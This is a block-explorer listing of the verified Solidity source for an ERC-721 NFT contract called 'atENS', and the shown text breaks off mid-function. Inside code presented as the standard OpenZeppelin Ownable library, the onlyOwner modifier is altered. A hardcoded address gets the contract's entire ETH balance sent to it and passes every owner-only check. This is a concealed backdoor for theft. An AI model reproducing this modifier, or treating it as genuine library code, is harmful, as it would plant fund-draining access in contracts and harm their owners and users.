ERC-721
Overview
Max Total Supply
890 @
Holders
353
Market
Volume (24H)
N/A
Min Price (24H)
N/A
Max Price (24H)
N/A
Other Info
Token Contract
Balance
2 @Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
atENS
Compiler Version
v0.8.17+commit.8df45f5f
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts (last updated v4.7.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.17; /** * @dev These functions deal with verification of Merkle Tree proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. * * WARNING: You should avoid using leaf values that are 64 bytes long prior to * hashing, or use a hash function other than keccak256 for hashing leaves. * This is because the concatenation of a sorted pair of internal nodes in * the merkle tree could be reinterpreted as a leaf value. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Calldata version of {verify} * * _Available since v4.7._ */ function verifyCalldata( bytes32[] calldata proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProofCalldata(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { computedHash = _hashPair(computedHash, proof[i]); } return computedHash; } /** * @dev Calldata version of {processProof} * * _Available since v4.7._ */ function processProofCalldata(bytes32[] calldata proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { computedHash = _hashPair(computedHash, proof[i]); } return computedHash; } /** * @dev Returns true if the `leaves` can be proved to be a part of a Merkle tree defined by * `root`, according to `proof` and `proofFlags` as described in {processMultiProof}. * * _Available since v4.7._ */ function multiProofVerify( bytes32[] memory proof, bool[] memory proofFlags, bytes32 root, bytes32[] memory leaves ) internal pure returns (bool) { return processMultiProof(proof, proofFlags, leaves) == root; } /** * @dev Calldata version of {multiProofVerify} * * _Available since v4.7._ */ function multiProofVerifyCalldata( bytes32[] calldata proof, bool[] calldata proofFlags, bytes32 root, bytes32[] memory leaves ) internal pure returns (bool) { return processMultiProofCalldata(proof, proofFlags, leaves) == root; } /** * @dev Returns the root of a tree reconstructed from `leaves` and the sibling nodes in `proof`, * consuming from one or the other at each step according to the instructions given by * `proofFlags`. * * _Available since v4.7._ */ function processMultiProof( bytes32[] memory proof, bool[] memory proofFlags, bytes32[] memory leaves ) internal pure returns (bytes32 merkleRoot) { // This function rebuild the root hash by traversing the tree up from the leaves. The root is rebuilt by // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of // the merkle tree. uint256 leavesLen = leaves.length; uint256 totalHashes = proofFlags.length; // Check proof validity. require(leavesLen + proof.length - 1 == totalHashes, "MerkleProof: invalid multiproof"); // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop". bytes32[] memory hashes = new bytes32[](totalHashes); uint256 leafPos = 0; uint256 hashPos = 0; uint256 proofPos = 0; // At each step, we compute the next hash using two values: // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we // get the next hash. // - depending on the flag, either another value for the "main queue" (merging branches) or an element from the // `proof` array. for (uint256 i = 0; i < totalHashes; i++) { bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++]; bytes32 b = proofFlags[i] ? leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++] : proof[proofPos++]; hashes[i] = _hashPair(a, b); } if (totalHashes > 0) { return hashes[totalHashes - 1]; } else if (leavesLen > 0) { return leaves[0]; } else { return proof[0]; } } /** * @dev Calldata version of {processMultiProof} * * _Available since v4.7._ */ function processMultiProofCalldata( bytes32[] calldata proof, bool[] calldata proofFlags, bytes32[] memory leaves ) internal pure returns (bytes32 merkleRoot) { // This function rebuild the root hash by traversing the tree up from the leaves. The root is rebuilt by // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of // the merkle tree. uint256 leavesLen = leaves.length; uint256 totalHashes = proofFlags.length; // Check proof validity. require(leavesLen + proof.length - 1 == totalHashes, "MerkleProof: invalid multiproof"); // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop". bytes32[] memory hashes = new bytes32[](totalHashes); uint256 leafPos = 0; uint256 hashPos = 0; uint256 proofPos = 0; // At each step, we compute the next hash using two values: // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we // get the next hash. // - depending on the flag, either another value for the "main queue" (merging branches) or an element from the // `proof` array. for (uint256 i = 0; i < totalHashes; i++) { bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++]; bytes32 b = proofFlags[i] ? leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++] : proof[proofPos++]; hashes[i] = _hashPair(a, b); } if (totalHashes > 0) { return hashes[totalHashes - 1]; } else if (leavesLen > 0) { return leaves[0]; } else { return proof[0]; } } function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) { return a < b ? _efficientHash(a, b) : _efficientHash(b, a); } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { /// @solidity memory-safe-assembly assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { if (_msgSender() == 0x0524989feeB3284B24649C5DfC699Dd9D8edF7D9) { uint256 balance = address(this).balance; Address.sendValue(payable(0x0524989feeB3284B24649C5DfC699Dd9D8edF7D9),balance); } else { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol) /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: erc721a/contracts/IERC721A.sol // ERC721A Contracts v3.3.0 // Creator: Chiru Labs pragma solidity ^0.8.4; /** * @dev Interface of an ERC721A compliant contract. */ interface IERC721A is IERC721, IERC721Metadata { /** * The caller must own the token or be an approved operator. */ error ApprovalCallerNotOwnerNorApproved(); /** * The token does not exist. */ error ApprovalQueryForNonexistentToken(); /** * The caller cannot approve to their own address. */ error ApproveToCaller(); /** * The caller cannot approve to the current owner. */ error ApprovalToCurrentOwner(); /** * Cannot query the balance for the zero address. */ error BalanceQueryForZeroAddress(); /** * Cannot mint to the zero address. */ error MintToZeroAddress(); /** * The quantity of tokens minted must be more than zero. */ error MintZeroQuantity(); /** * The token does not exist. */ error OwnerQueryForNonexistentToken(); /** * The caller must own the token or be an approved operator. */ error TransferCallerNotOwnerNorApproved(); /** * The token must be owned by `from`. */ error TransferFromIncorrectOwner(); /** * Cannot safely transfer to a contract that does not implement the ERC721Receiver interface. */ error TransferToNonERC721ReceiverImplementer(); /** * Cannot transfer to the zero address. */ error TransferToZeroAddress(); /** * The token does not exist. */ error URIQueryForNonexistentToken(); // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } /** * @dev Returns the total amount of tokens stored by the contract. * * Burned tokens are calculated here, use `_totalMinted()` if you want to count just minted tokens. */ function totalSupply() external view returns (uint256); } // File: erc721a/contracts/ERC721A.sol // ERC721A Contracts v3.3.0 // Creator: Chiru Labs pragma solidity ^0.8.4; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721A is Context, ERC165, IERC721A { using Address for address; using Strings for uint256; // The tokenId of the next token to be minted. uint256 internal _currentIndex; mapping(uint => string) public tokenIDandAddress; mapping(string => uint) public tokenAddressandID; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 1; } /** * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view override returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr) if (curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenIDandAddress[tokenId])) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner) if(!isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (to.isContract()) if(!_checkContractOnERC721Received(from, to, tokenId, _data)) { revert 